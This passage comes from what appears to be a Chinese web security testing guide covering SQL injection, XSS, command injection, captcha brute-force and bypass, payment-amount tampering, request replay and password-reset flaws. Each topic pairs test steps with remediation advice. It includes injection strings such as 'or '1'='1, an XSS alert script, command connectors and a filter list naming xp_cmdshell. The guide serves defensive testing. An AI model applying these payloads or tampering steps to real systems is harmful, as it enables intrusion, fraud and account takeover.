修复建议\n服务端需校验身份唯一性，自己的身份只能查看、修改、删除、添加自己的信息。\n第7章 输入/输出模块测试\n7.1 SQL注入测试\n7.1.1 测试原理和方法\nSQL注入就是通过把SQL命令插入Web表单提交或输入域名页面请求的查询字符串，\n最终达到欺骗服务器执行恶意的SQL命令的目的。具体来说，它是利用现有应用程序，将\n（恶意）SQL命令注入后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶\n意）SQL 语句获取一个存在安全漏洞的网站上的数据库权限，而不是按照设计者的意图\n去执行SQL语句。下面通过一个经典的万能密码登录案例深入浅出地介绍SQL注入漏洞。\nSQL注入按照请求类型分为：GET型、POST型、Cookie注入型。GET与POST两种类\n型的区别是由表单的提交方式决定的。按照数据类型可分为：数字型和字符型（数字也是\n字符，严格地说就是一类，区别在于数字型不用闭合前面的SQL语句，而字符型需要闭\n合）。测试方法分为报错型、延时型、盲注型、布尔型等。\n数字型注入（一般存在于输入的参数为整数的情况下，如 ID、年龄等）测试方法如\n下。\n第一步：正常请求，查看页面。\n第二步：在请求的参数后加and 1=1，如果可以添加执行，则和第一步的返回页面并\n无差异。\n第三步：在请求参数后加and 1=2，如果返回页面与第二步页面明显不同，或有所差\n异，则断定存在数字型注入。\n字符型注入（一般存在于接收的参数为字符串的情况下，如姓名、密码等）测试方法\n如下。\n第一步：正常请求查看页面（如查询admin用户信息，则返回admin用户的信息）。\n第二步：在查询的参数后加’or 1=1（有时可以加--来注释后面的语句），加单引号的\n目的是闭合前面的SQL语句并与后面的语句形成语法正确的SQL语句。如果可以添加并能\n够执行，则返回除 admin 用户外所有用户的信息。这时可以判断存在字符型注入。\n7.1.2 测试过程\n攻击者确定疑似的数字型注入链接，按照数字型手工注入方式进行手工判断，若确定\n存在漏洞后，可用手工注入方式查询数据或使用注入工具查询数据库数据，如图7-1所\n示。\n图7-1 数字型注入测试流程图\n7.1.2.1 数字型注入\n以网站http：//XXX.XXX.com/sydwzwb/zwxq.php？id=3974为例。\n步骤一：正常访问，查看页面，如图7-2所示。\n在参数后加单引号或者%27，即可在参数后构造SQL语句。由于SQL语句单引号是成\n对出现的，添加单引号则SQL语句是错误的语句，不能被SQL解释器正常解析。访问报错\n说明SQL语句执行了，如图7-3所示。\n图7-2 正常访问页面\n图7-3 添加单引号页面显示\n步骤二：在ID参数后加and 1=1，查看页面，发现与第一步并无异样，如图7-4所示。\n图7-4 添加and 1=1页面显示\n步骤三：添加and 1=2，并查看页面，如图7-5所示。\n图7-5 添加and 1=2页面显示\n如果发现与第二步完全不同，则可以证明存在数字型注入，利用专门的SQL注入工具\n（如sqlmap）可以拥有数据库增、删、改、查权限，甚至可以执行系统命令、上传后门文\n件等。sqlmap 工具下载使用说明详见其官网 http：//sqlmap.org/，如图 7-6所示。\n图7-6 用sqlmap跑数据\n7.1.2.2 字符型注入\n攻击者确定疑似的字符型注入链接，按照字符型手工注入方式进行手工判断，若确定\n存在漏洞后，可用手工注入方式查询数据或使用注入工具查询数据库数据，如图7-7所\n示。\n图7-7 字符型注入测试流程图\n以网站http：//xxx/Organ！loadOrgs.shtml为例。\n步骤一：正常访问，抓包并查看页面，如图7-8所示。\n图7-8 正常访问返回包情况\n在参数后加单引号或者%27（由于 SQL 语句单引号是成对出现的，添加单引号则\nSQL语句是错误的语句，不能被SQL解释器正常解析。访问报错说明SQL语句执行了），\n即可在参数后构造SQL语句，如图7-9所示。\n图7-9 添加单引号返回包情况\n步骤二：添加’or‘1’=’1，查看页面，如图7-10所示。\n图7-10 添加’or‘1’=’1返回包情况\n不仅查询出10100095的信息，所有信息都可以查询到，用sqlmap可以进一步验证漏\n洞，如图7-11所示。\n图7-11 sqlmap注入成功\n以上两种注入都是基于报错信息手工测试和工具注入，还有基于时间、盲注、布尔型\n等的注入，在这就不一一举例了。\n7.1.3 修复建议\n每个提交信息的客户端页面、通过服务器端脚本（JSP、ASP、ASPX、PHP等）生成\n的客户端页面、提交的表单（FORM）或发出的链接请求中包含的所有变量，必须对变量\n的值进行检查，过滤其中包含的特殊字符，或对字符进行转义处理。特殊字符如下。\n· SQL语句关键词：如and、or、select、declare、update、xp_cmdshell；\n· SQL语句特殊符号：’、”、；等。\n此外，Web 应用系统接入数据库服务器使用的用户不应为系统管理员，用户角色应\n遵循最小权限原则。\n7.2 XSS测试\n7.2.1 测试原理和方法\n跨站脚本漏洞是Web应用程序在将数据输出到网页的时候存在问题，导致恶意攻击者\n可以往Web页面里插入恶意JavaScript、HTML代码，并将构造的恶意数据显示在页面的漏\n洞中。攻击者一般利用此漏洞窃取或操纵客户会话和 Cookie，用于模仿合法用户，从而\n使攻击者以该用户身份查看或变更用户记录以及执行事务。\n跨站一般情况下主要分为存储型跨站、反射型跨站、DOM型跨站。存储型跨站脚本\n可直接写入服务端数据库，而反射型不写入数据库，由服务端解析后在浏览器生成一段类\n似<script>alert（/xss/）</script>的脚本。\n反射型跨站测试方法主要是在URL或输入框内插入一段跨站脚本，观察是否能弹出对\n话框。\n存储型跨站测试方法主要是在网站的留言板、投诉、建议等输入框内输入一段跨站脚\n本，看是否能插入数据库，插入成功的表现为当网站管理人员查看该留言时，会执行跨站\n语句（如弹出对话框），或者当普通用户再次访问该页面时，会执行跨站语句，如弹出对\n话框。\n7.2.2 测试过程\n发现疑似存在跨站链接，在漏洞参数处添加测试漏洞payload，如果达到测试目的则\n确定跨站漏洞存在，根据漏洞实际类型分为反射型跨站、存储型跨站，如图7-12所示。\n图7-12 XSS漏洞测试流程图\n7.2.2.1 反射型XSS\n以http：//xxx.xxx.local中高级搜索模块为例，如图7-13所示。\n图7-13 高级搜索业务模块\n步骤一：抓包并在工单编号输入处添加测试是否存在XSS漏洞的测试代码，如图7-14\n所示。\n图7-14 抓取业务请求包并添加验证漏洞payload\n步骤二：成功弹出对话框，并证明XSS漏洞存在，如图7-15所示。\n图7-15 漏洞成功触发\n7.2.2.2 存储型XSS\n以http：//xxx.xxx.local为例，在商调函模块存在新建、编辑、删除的模块，如图7-16\n所示。\n图7-16 业务模块\n新建一工单并在功能说明处添加XSS payload，这时数据会存储于数据库，于是就会\n造成存储型XSS，如图7-17所示。\n图7-17 漏洞成功触发\n7.2.3 修复建议\n每个提交信息的客户端页面、通过服务器端脚本（JSP、ASP、ASPX、PHP等）生成\n的客户端页面、提交的表单（FORM）或发出的链接请求中包含的所有变量，必须对变量\n的值进行检查，过滤其中包含的特殊字符，或对字符进行转义处理。特殊字符如下。\n· HTML标签的<、“、’、%等，以及这些符号的Unicode值；\n· 客户端脚本（JavaScript、VBScript）关键字：JavaScript、script等。\n此外，对于信息搜索功能，不应在搜索结果页面中回显搜索内容。同时应设置出错页\n面，防止Web服务器发生内部错误时，将错误信息返回给客户端。具体建议如下：\n· 定义允许的行为，确保Web应用程序根据预期结果的严格定义来验证所有输入参数\n（Cookie、标头、查询字符串、表单、隐藏字段等）。\n· 检查POST和GET请求的响应，以确保返回的对象是预期的内容且有效。\n· \n通过对用户提供的数据进行编码，从用户输入中移除冲突的字符、括号和单双引\n号。这将防止插入的脚本以可执行的格式发送给最终用户。\n· \n只要可能，就应将客户端提供的所有数据限制为字母数字数据。使用此过滤机制\n时，如果用户输入“<script>alertdocumentcookie（'aaa'）</script>”，将缩减\n为“scriptalertdocumentcookiescript”。如果必须使用非字母数字字符，请先将其编码为\nHTML 实体，然后再将其用在 HTTP 响应中，这样就无法将它们用于修改HTML文档的结\n构。\n· 使用双因素客户身份验证机制，而非单因素身份验证。\n· 在修改或使用脚本之前，验证脚本的来源。\n· 不要完全信任其他人提供的脚本并用在自己的代码中（不论是从Web上下载的，还\n是熟人提供的）。\n7.3 命令执行测试\n7.3.1 测试原理和方法\n在应用需要调用一些外部程序去处理内容的情况下，就会用到一些执行系统命令的函\n数。如PHP中的system、exec、shell_exec等，当用户可以控制命令执行函数中的参数时，\n将可注入恶意系统命令到正常命令中，造成命令执行攻击。测试中如果没有对参数（如\ncmd=、command、excute=等）进行过滤，就可以直接造成命令执行漏洞或配合绕过及命\n令连接符（在操作系统中，“&、|、||、；”都可以作为命令连接符使用，用户通过浏览器\n提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况\n下就执行命令）等进行命令执行漏洞测试。\n7.3.2 测试过程\n攻击者发现疑似存在命令执行的漏洞链接，添加命令执行payload，确认漏洞，如图7-18所示。\n图7-18 命令执行漏洞测试流程\n以某网络安全审计系统为例，由于未对register_key参数进行过滤可能存在命令执行漏\n洞，抓包并对其进行测试，构造命令执行语句并执行成功，证明此参数未经严格过滤造成\n命令执行漏洞，如图7-19和图7-20所示。\n图7-19 抓包并进行测试\n图7-20 漏洞成功执行\n再以自己搭建的网站http：//localhost/DVWA/为例。\n在dvwa处提供了一个免费的ping命令，如图7-21所示。\n图7-21 ping命令\n步骤一：我们ping一下自己的主机并抓包，如图7-22所示。\n步骤二：由于ip接收一个参数并执行ping命令，如果接收的参数没有过滤就可以\n用“&、|、||、；”构造语句，进行命令执行漏洞测试，成功执行系统命令，如图7-23所\n示。\n图7-22 抓取请求包\n图7-23 漏洞成功触发\n7.3.3 修复建议\n尽量少用执行命令的函数或者直接禁用，参数值尽量使用引号包括在使用动态函数之\n前，确保使用的函数是指定的函数之一，在进入执行命令的函数/方法之前，对参数进行\n过滤，对敏感字符进行转义。\n第8章 回退模块测试\n8.1 回退测试\n8.1.1 测试原理和方法\n很多Web业务在密码修改成功后或者订单付款成功后等业务模块，在返回上一步重新\n修改密码或者重新付款时存在重新设置密码或者付款的功能，这时如果能返回上一步重复\n操作，而且还能更改或者重置结果，则存在业务回退漏洞。\n8.1.2 测试过程\n攻击者按正常流程更改业务信息，更改完成后可回退到上一流程再次成功修改业务信\n息，如图8-1所示。\n图8-1 业务回退测试流程\n以某网站修改密码为例。\n步骤一：密码修改成功后，进行回退测试（检查是否可以回退，并进行操作，如果存\n在，可能存在回退漏洞），首先按照正常流程更改密码，如图8-2所示。\n图8-2 密码重置成功\n步骤二：尝试是否可以进行回退，结果可以回到重置密码这一步，即第三步，可以修\n改密码，成功且无限制，如图8-3所示。\n图8-3 回退可再次进行修改\n8.1.3 修复建议\n对于业务流程有多步的情况，如修改密码或重置密码等业务，首先判断该步骤的请求\n是否是上一步骤的业务所发起的，如果不是则返回错误提示或页面失效。\n第9章 验证码机制测试\n9.1 验证码暴力破解测试\n9.1.1 测试原理和方法\n验证码机制主要被用于防止暴力破解、防止DDoS攻击、识别用户身份等，常见的验\n证码主要有图片验证码、邮件验证码、短信验证码、滑动验证码和语音验证码。\n以短信验证码为例。短信验证码大部分情况下是由4～6位数字组成，如果没有对验证\n码的失效时间和尝试失败的次数做限制，攻击者就可以通过尝试这个区间内的所有数字来\n进行暴力破解攻击。\n9.1.2 测试过程\n攻击者填写任意手机号码进行注册，服务器向攻击者填写的手机号码发送短信验证\n码，攻击者设置验证码范围 000000～999999、00000～99999、0000～9999，对验证码进\n行暴力破解，通过返回数据包判断是否破解成功，然后通过破解成功的验证码完成注册，\n如图9-1所示。\n以某会员网站任意手机号码注册为例。\n步骤一：填写任意号码进行注册，本案例使用手机号码为16666666666，单击获取手\n机动态码，会向手机发送一条验证码信息，如图9-2所示。\n图9-1 短信验证码暴力破解测试流程\n图9-2 获取短信验证码\n步骤二：快速登录，抓取数据包，对code参数进行暴力破解，如图9-3所示。\n图9-3 抓取登录数据包\n破解信息如下，如图9-4所示。\n图9-4 暴力破解\n步骤三：通过返回值的长度可判断 46547 为正确的验证码，使用该验证码可成功登录\n网站，获取个人信息，如图9-5所示。\n图9-5 登录成功\n9.1.3 修复建议\n针对验证码的暴力测试，建议采取如下的加固方案：\n（1）设置验证码的失效时间，建议为180秒；\n（2）限制单位时间内验证码的失败尝试次数，如5分钟内连续失败5次即锁定该账号\n15分钟。\n9.2 验证码重复使用测试\n9.2.1 测试原理和方法\n在网站的登录或评论等页面，如果验证码认证成功后没有将session及时清空，将会导\n致验证码首次认证成功之后可重复使用。测试时可以抓取携带验证码的数据包重复提交，\n查看是否提交成功。\n9.2.2 测试过程\n攻击者填写投诉建议，输入页面验证码，抓取提交的数据包，使用发包工具对数据包\n进行重复提交，然后查看投诉建议页面是否成功提交了多个投诉信息，如图9-6所示。\n图9-6 验证码重复使用测试流程\n以某App手机客户端应用程序为例。\n步骤一：在客户投诉建议处，输入要投诉的内容，并输入验证码，如图9-7所示。步\n骤二：抓取数据包并修改投诉内容参数complaintsContent的值，如图9-8所示。通过Burp Suite工具重复提交投诉信息，如图9-9所示。\n图9-7 填写投诉信息\n图9-8 抓取数据包\n图9-9 暴力重复提交\n步骤三：经过暴力重复提交后，客户端显示提交成功，如图9-10所示。\n图9-10 提交成功\n步骤四：返回页面查看历史投诉建议内容，可看到通过首次验证码认证，成功提交了\n多次投诉，如图9-11、图9-12所示。\n图9-11 成功提交多次投诉\n图9-12 查看投诉信息\n9.2.3 修复建议\n针对验证认证次数问题，建议验证码在一次认证成功后，服务端清空认证成功的\nsession，这样就可以有效防止验证码一次认证反复使用的问题。\n9.3 验证码客户端回显测试\n9.3.1 测试原理和方法\n当验证码在客户端生成而非服务器端生成时，就会造成此类问题。当客户端需要和服\n务器进行交互发送验证码时，可借助浏览器的工具查看客户端与服务器进行交互的详细信\n息。\n9.3.2 测试过程\n攻击者进入找回密码页面，输入手机号与证件号，获取验证码，服务器会向手机发送\n验证码，通过浏览器工具查看返回包信息，如果返回包中包含验证码，证明存在此类问\n题，如图9-13所示。\n图9-13 验证码客户端回显测试流程\n以某P2P金融平台为例。\n步骤一：使用浏览器访问该网站，在找回密码页面中任意输入一个手机号码和开户证\n件号，如图9-14所示。\n图9-14 输入手机号与证件号\n步骤二：单击“下一步”按钮，即可向该手机发送短信验证码。按 F12 键启用浏览器调\n试工具可看到短信验证码在本地生成，如图9-15所示。\n图9-15 查看本地生成的验证码\n步骤三：输入本地生成的验证码，如图9-16所示。\n图9-16 输入验证码\n进入重置密码页面，如图9-17所示。\n图9-17 进入密码重置页面\n步骤四：重置密码成功，如图9-18所示。\n图9-18 重置成功\n9.3.3 修复建议\n针对验证码在客户端回显的情况，建议采取如下措施来预防此类问题：\n（1）禁止验证码在本地客户端生成，应采用服务器端验证码生成机制；\n（2）设置验证码的时效性，如180秒过期；\n（3）验证码应随机生成，且使用一次即失效。\n9.4 验证码绕过测试\n9.4.1 测试原理和方法\n在一些案例中，通过修改前端提交服务器返回的数据，可以实现绕过验证码，执行我\n们的请求。\n9.4.2 测试过程\n攻击者进入注册账户页面，输入任意手机号码，获取验证码，在注册账户页面填写任\n意验证码，提交请求并抓包，使用抓包工具查看并修改返回包信息，转发返回数据包，查\n看是否注册成功，如图9-19所示。\n图9-19 验证码绕过测试流程\n以某P2P网站系统注册功能为例。\n步骤一：首先输入任意手机号码和密码，我们此处以 18888888886 为例，单击“获取\n手机验证码”，由于我们无法获取到18888888886这个手机的真实验证码，我们随意填写一\n个验证码1234，如图9-20所示。\n步骤二：单击注册领红包并通过 burp 对数据包进行截获，右击选择 Do intercept-Response to this request，如图9-21所示。\n图9-20 输入手机号码\n图9-21 抓取数据包\n步骤三：然后单击 Forword 后，burp 工具里显示的就是网站返回的数据包。因为我\n们填写的手机验证码1234肯定是错误的，而此时res_code的值为1，证明了当手机验证码\n错误时res_code的值为1。我们将返回数据包中的res_code的值改为0，从而实现绕过验证\n码，如图9-22所示。\n步骤四：继续单击Forword后，即可成功注册该手机号码18888888886的账号并登录跳\n转到用户界面，如图9-23所示。\n图9-22 修改返回值\n图9-23 注册成功并登录\n9.4.3 修复建议\n针对此漏洞，建议在服务端增加验证码的认证机制，对客户端提交的验证码进行二次\n校验。\n9.5 验证码自动识别测试\n9.5.1 测试原理和方法\n前面几小节介绍的测试方法主要针对业务逻辑设计上存在缺陷的验证码机制，而事实\n上还有很大一部分验证码机制在逻辑上并不存在问题，这就涉及与验证码机制本身的正面\n对抗，也就是验证码识别技术。\n网站登录页面所使用的图形验证码是出现最早也是使用最为广泛的验证码，我们就以\n图形验证码为例来讲解如何对其进行自动识别。\n一般对于此类验证码的识别流程为：图像二值化处理→去干扰→字符分割→字符识\n别。\n图像二值化就是将图像上像素点的灰度值设置为0或255，也就是将整个图像呈现出明\n显的黑白效果。\n为了防止验证码被自动识别，通常用加入一些点、线、色彩之类的方式进行图像干\n扰，如图9-24所示。\n图9-24 验证码图像干扰\n所以为了达到良好的识别效果，需要对图像进行去干扰处理。\n字符分割主要包括从验证码图像中分割出字符区域，以及把字符区域划分成单个字\n符。\n字符识别就是把处理后的图片还原回字符文本的过程。\n9.5.2 测试过程\n攻击者访问网站登录页面，通过刷新验证码页面查看验证码组成规律，进行图像二值\n化、去干扰等处理，并进行人工比对，存储成功识别的验证码包，截入工具，利用工具对\n登录页面进行暴力破解，根据返回包的大小和关键字判断是否破解成功，如图9-25所示。\n以某游戏站点为例。\n图9-25 验证码自动识别测试流程\n步骤一：首先通过多次刷新验证码，发现验证码主要由数字或小写字母组成，于是通\n过PKAV HTTP Fuzzer工具设定一个验证码包含的字符范围，如图9-26所示。\n图9-26 设定验证码字符范围\n步骤二：通过第三方识别工具可以自动对验证码图像进行二值化、去干扰等处理，然\n后通过人工比对来完善识别的准确率，如图9-27、图9-28所示。\n步骤三：当识别的准确率符合自己预期的效果后（比如达到90%以上），就可以对登\n录页面进行抓包分析了，通过Burp Suite工具抓取登录的数据包，如图9-29所示。\n图9-27 验证码人工比对\n图9-28 验证码人工比对\n图9-29 抓取登录数据包\n步骤四：将抓取到的请求数据包放至PKAV HTTP Fuzzer工具的请求包内，设置验证\n码标志位，用户名和密码标志位，如图9-30所示。\n图9-30 设置请求包\n单击即可开始对账号密码进行暴力破解，验证码会自动载入，如图9-31所示。\n图9-31 暴力破解\n查看请求结果，可发现一个长度为611的返回包，用户名和密码为admin：admin，可\n成功登录网站，如图9-32所示。\n图9-32 成功登录\n9.5.3 修复建议\n针对验证码被自动识别的风险，建议通过以下几个方面来进行加固：\n（1）增加背景元素的干扰，如背景色、背景字母等；\n（2）字符的字体进行扭曲、粘连；\n（3）使用公式、逻辑验证方法等作为验证码，如四则运算法、问答题等；\n（4）图形验证码和使用者相关，比如选择联系人头像、选择购买过的物品等作为验\n证码。\n第10章 业务数据安全测试\n10.1 商品支付金额篡改测试\n10.1.1 测试原理和方法\n电商类网站在业务流程整个环节，需要对业务数据的完整性和一致性进行保护，特别\n是确保在用户客户端与服务、业务系统接口之间的数据传输的一致性，通常在订购类交易\n流程中，容易出现服务器端未对用户提交的业务数据进行强制校验，过度信赖客户端提交\n的业务数据而导致的商品金额篡改漏洞。商品金额篡改测试，通过抓包修改业务流程中的\n交易金额等字段，例如在支付页面抓取请求中商品的金额字段，修改成任意数额的金额并\n提交，查看能否以修改后的金额数据完成业务流程。\n10.1.2 测试过程\n该项测试主要针对订单生成的过程中存在商品支付金额校验不完整而产生业务安全风\n险点，通常导致攻击者用实际支付远低于订单支付的金额订购商品的业务逻辑漏洞，如图\n10-1所示。\n测试过程以登录http：//www.xxx.cn/service/electronic/init.action网上营业厅购买充值卡\n为例。\n图10-1 测试流程图\n步骤一：购卡选择卡面值后进入支付平台页面，如图10-2所示。\n图10-2 实际支付金额\n抓包并篡改支付请求中的明文金额字段 elecCardConfirm.money，如图 10-3 和图10-4\n所示。\n图10-3 抓取支付请求\n图10-4 篡改支付请求中的支付金额字段\n步骤二：跳转支付平台，完成篡改后订单金额支付流程，如图10-5和图10-6所示。\n图10-5 在支付平台支付篡改后的金额\n图10-6 支付平台回调电商平台提示支付完成\n步骤三：支付平台支付完成后自动回调商城，显示订单成功生成并完成支付流程，表\n明本次测试实现了用篡改后的金额0.01元在电商平台订购到100元的商品的操作，如图10-7所示。\n图10-7 电商平台提示订单已经完成支付\n10.1.3 修复建议\n商品信息，如金额、折扣等原始数据的校验应来自于服务器端，不应接受客户端传递\n过来的值。\n10.2 商品订购数量篡改测试\n10.2.1 测试原理和方法\n商品数量篡改测试是通过在业务流程中抓包修改订购商品数量等字段，如将请求中的\n商品数量修改成任意非预期数额、负数等后进行提交，查看业务系统能否以修改后的数量\n完成业务流程。\n10.2.2 测试过程\n该项测试主要针对商品订购的过程中对异常交易数据处理缺乏风控机制而导致的相关\n业务逻辑漏洞，例如针对订购中的数量、价格等缺乏判断而产生意外的结果，往往被攻击\n者所利用，如图10-8所示。\n测试过程以某网上营业厅积分商城为例。\n图10-8 测试流程图\n步骤一：将商品放入购物车，对于实物礼品需要放在购物车中进行订购。放入购物车\n后，单击进入购物车，如图10-9所示。\n图10-9 将要购买的商品添加进购物车\n步骤二：在购物车中进行礼品兑换，确认商品订单准备进行数据包信息篡改，如图\n10-10所示。\n图10-10 确认商品订单\n抓包将商品的数量参数修改成负数并保存，如图10-11和图10-12所示。\n图10-11 篡改该订购请求中的商品数量\n可以看到购物车中实际支付积分已经变为负积分，如图10-13所示。\n步骤三：添加兑换人的配送信息，确认订单信息，完成积分兑换业务流程，如图10-\n14所示。\n图10-12 保存篡改后的订购信息\n图10-13 实际篡改后的订购信息\n获取验证码并且验证通过后，单击“下一步”按钮，进入订单确认页面，如图10-15所\n示。\n图10-14 确认订单信息\n图10-15 支付订单\n步骤四：提交订单订购请求，此页面列出订单的清单，包括收货人信息、兑换礼品列\n表和消费积分。单击“提交订单”按钮，完成礼品兑换，显示兑换结果，如图10-16所示。\n图10-16 实际生成的订单详情\n步骤五：兑换结果查看，由于积分为负值提交给后台，视为无效订单，所以未能成功\n利用。服务端对这些异常订单数据进行比对，未能支付成功，如图10-17所示。\n图10-17 服务器对异常订单的响应\n10.2.3 修复建议\n服务端应当考虑交易风险控制，对产生异常情况的交易行为（如用户积分数额为负\n值、兑换库存数量为 0 的商品等）应当直接予以限制、阻断，而非继续完成整个交易流\n程。\n10.3 前端JS限制绕过测试\n10.3.1 测试原理和方法\n很多商品在限制用户购买数量时，服务器仅在页面通过JS脚本限制，未在服务器端校\n验用户提交的数量，通过抓取客户端发送的请求包修改JS端生成处理的交易数据，如将请\n求中的商品数量改为大于最大数限制的值，查看能否以非正常业务交易数据完成业务流\n程。\n10.3.2 测试过程\n该项测试主要针对电商平台由于交易限制机制不严谨、不完善而导致的一些业务逻辑\n问题。例如，在促销活动中限制商品购买数量，却未对数量进行前、后端严格校验，往往\n被攻击者所利用，如图10-18所示。\n图10-18 测试流程图\n测试过程以 http：//www.xxx.com/xxx-100-2856.html 网上商城绕过团购购买数量限制\n购买团购价商品为例。\n步骤一：购买限购的商品，商品限制购买数量为 2 份，将其加入购物车，如图10-19\n和图10-20所示。\n图10-19 商品订购页面\n图10-20 商品订购数量限制\n步骤二：通过观察发现客户端在前端浏览器使用JavaScript做了购买限制，尝试绕过\n限制提交购买请求，可以通过抓包修改数量字段，改为 100 个后成功提交，如图10-21所\n示。\n图10-21 直接绕过JS限制完成订购\n10.3.3 修复建议\n商品信息，如金额、折扣、数量等原始数据的校验应来自于服务器端，不应该完全相\n信客户端传递过来的值。类似的跨平台支付业务，涉及平台之间接口调用，一定要做好对\n重要数据，如金额、商品数量等的完整性校验，确保业务重要数据在平台间传输的一致。\n10.4 请求重放测试\n10.4.1 测试原理和方法\n请求重放漏洞是电商平台业务逻辑漏洞中一种常见的由设计缺陷所引发的漏洞，通常\n情况下所引发的安全问题表现在商品首次购买成功后，参照订购商品的正常流程请求，进\n行完全模拟正常订购业务流程的重放操作，可以实现“一次购买多次收货”等违背正常业务\n逻辑的结果。\n10.4.2 测试过程\n该项测试主要针对电商平台订购兑换业务流程中对每笔交易请求的唯一性判断缺乏有\n效机制的业务逻辑问题，通过该项测试可以验证交易流程中随机数、时间戳等生成机制是\n否正常，如图10-22所示。\n图10-22 测试流程图\n步骤一：在生成订单流程时抓取订购请求，如图10-23所示。\n图10-23 生成订购请求页面\n步骤二：观察每次订购相同商品的请求是否存在不同的随机Token、可变参数等，若\n有则检查这些随机数的变化情况和失效情况，是否在当前订购流程中唯一有效，如图10-\n24所示。\n图10-24 留存订购HTTP请求\n步骤三：尝试重放之前已经完成流程的订购请求，观察服务器端是否做出正确响应，\n若订购再次生效，订单再次生成则表明服务器存在脆弱性，如图10-25所示。\n图10-25 将订购HTTP请求进行重放发送\n10.4.3 修复建议\n用户每次订单 Token 不应该能重复提交，避免产生重放订购请求的情况。在服务器\n订单生成关键环节，应该对订单 Token 对应的订购信息内容、用户身份、用户可用积分\n等进行强校验。\n10.5 业务上限测试\n10.5.1 测试原理和方法\n业务上限测试主要是针对一些电商类应用程序在进行业务办理流程中，服务端没有对\n用户提交的查询范围、订单数量、金额等数据进行严格校验而引发的一些业务逻辑漏洞。\n通常情况下，在业务流程中通过向服务端提交高于或低于预期的数据以校验服务端是否对\n所提交的数据做预期强校验。存在此类脆弱性的应用程序，通常表现为查询到超出预期的\n信息、订购或兑换超出预期范围的商品等。\n10.5.2 测试过程\n该项测试主要判断应用程序是否对业务预期范围外的业务请求做出正确回应，如图\n10-26所示。\n图10-26 测试流程图\n步骤一：在业务查询-受理记录查询中，应用程序只允许登录用户查询6个月内的受理\n记录，但是通过抓包分析出查询请求中存在明文字段month，如图10-27所示。\n图10-27 实际业务查询范围\n步骤二：将month 设置的查询范围调高到6 个月以上并提交，应用程序返回了超过6\n个月的受理记录，表明服务器端并没有限制用户的查询时间，如图10-28所示。\n图10-28 修改查询范围\n步骤三：成功查询到大于 6 个月的办理记录，表明该功能不符合业务要求，如图10-29所示。\n图10-29 超出限制范围的查询结果\n10.5.3 修复建议\n在服务器端应该对订单 Token 对应的订购信息内容、用户身份、用户可用积分等进\n行强校验。服务端应考虑交易风险控制，对产生异常情况的交易行为（如用户积分数额为\n负值、兑换库存数量为 0 的商品等）应当直接予以限制、阻断，而非继续完成整个交易流\n程。\n第11章 业务流程乱序测试\n11.1 业务流程绕过测试\n11.1.1 测试原理和方法\n该项测试主要针对业务流程的处理流程是否正常，确保攻击者无法通过技术手段绕过\n某些重要流程步骤，检验办理业务过程中是否有控制机制来保证其遵循正常流程。例如业\n务流程分为三步：第一步，注册并发送验证码；第二步，输入验证码；第三步，注册成\n功。在第三步进行抓包分析，将邮箱或手机号替换为其他人的，如果成功注册，就跳过了\n第一步和第二步，绕过了正常的业务流程。\n11.1.2 测试过程\n攻击者访问注册页面，注册测试账户，充值提交并抓取数据包，填写任意充值金额并\n抓包，获取订单号，利用订单号构造充值链接并访问链接，查看是否充值成功，如果充值\n成功说明存在业务流程绕过问题，如图11-1所示。\n以某社交网站为例，经过测试发现订单生成后流程走至链接\nhttp：//www.xxx.com/index.php？controller=site&action=payok&out_trade_no=，只要提供对\n应的充值订单号就可以绕过支付环节，未经支付直接充值成功。\n图11-1 业务流程绕过测试流程\n步骤一：新注册一个账号进行测试，如图11-2所示。\n图11-2 注册账号\n账号余额为0，如图11-3所示。\n图11-3 账户余额\n步骤二：对账号充值并用Burp Suite工具进行数据包截取，金额可随意填写，如图11-4所示。\n图11-4 充值并抓包\n步骤三：截获支付订单数据包，放弃支付，获取生成的订单号，如图11-5所示。\n图11-5 获取支付订单号\n步骤四：利用获取的订单号构造链接 \nhttp：//www.xxx.com/index.php？\ncontroller=site&action=payok&out_trade_no=充值订单号，直接访问这个链接即可成功充\n值，如图11-6所示。\n图11-6 支付成功\n充值后的余额如图11-7所示。\n图11-7 充值后的余额\n11.1.3 修复建议\n针对此类漏洞，建议对敏感信息如身份 ID、账号密码、订单号、金额等进行加密处\n理，并在服务端对其进行二次比对。\n第12章 密码找回模块测试\n12.1 验证码客户端回显测试\n12.1.1 测试原理和方法\n找回密码测试中要注意验证码是否会回显在响应中，有些网站程序会选择将验证码回\n显在响应中，来判断用户输入的验证码是否和响应中的验证码一致，如果一致就会通过校\n验。\n12.1.2 测试流程\n填入要找回的账号，通过Burp抓取返回包找到正确验证码，将正确验证码发送给服务\n端已达到密码重置的目的，如图12-1所示。\n图12-1 验证码发送流\n步骤一：网站中一般第一步会要求用户填写账号信息以便发送验证码到用户的邮箱或\n者手机号中等待用户查收校验，如图12-2所示。\n图12-2 找回密码界面\n步骤二：在找回密码测试中需要对发送验证码的请求抓包，观察它的响应结果。本书\n中使用工具Burp Suite拦截请求，如图12-3所示。\n图12-3 发送验证码请求包\n步骤三：拦截到请求包后，通过观察可以发现object参数是验证码的发送邮箱。\nPOST/member/same/password?type=email&object=xxxxxx@126.com HTTP/1.1Host:www.xxxxx.com\n如果是这个账号的用户，那么就可以在自己的邮件中看到验证码，但是如果不是自己\n的账号当验证码发生泄露后任意账号密码修改的漏洞就触发了。\n步骤四：查看响应包中的内容，如图12-4示。\n图12-4 查看验证码响应包\n步骤五：当响应包中返回验证码后就泄露了找回密码的凭证，攻击者只需要利用响应\n中的验证码就可以通过找回密码功能修改密码，这样就绕过了只有用户自己邮箱或者手机\n才能看到验证码的条件而达到密码修改的目的，如图12-5所示。\n图12-5 验证码校验成功进入密码修改界面\n12.1.3 修复建议\n避免返回验证码到响应包中，验证码一定要放在服务端校验。\n12.2 验证码暴力破解测试\n12.2.1 测试原理和方法\n找回密码功能模块中通常会将用户凭证（一般为验证码）发送到用户自己才可以看到\n的手机号或者邮箱中，只要用户不泄露自己的验证码就不会被攻击者利用，但是有些应用\n程序在验证码发送功能模块中验证码位数及复杂性较弱，也没有对验证码做次数限制而导\n致验证码可被暴力枚举并修改任意用户密码。\n在测试验证码是否可以被暴力枚举时，可以先将验证码多次发送给自己的账号，观察\n验证码是否有规律，如每次接收到的验证码为纯数字并且是4位数。\n12.2.2 测试流程\n验证码暴力破解是指在密码重置的过程中使用 Burp Suite 不断地尝试对验证码进行猜\n解的测试。一旦验证码猜解成功即可对被攻击账号进行密码重置，如图 12-6所示。\n图12-6 验证码发送流程\n步骤一：在某 App 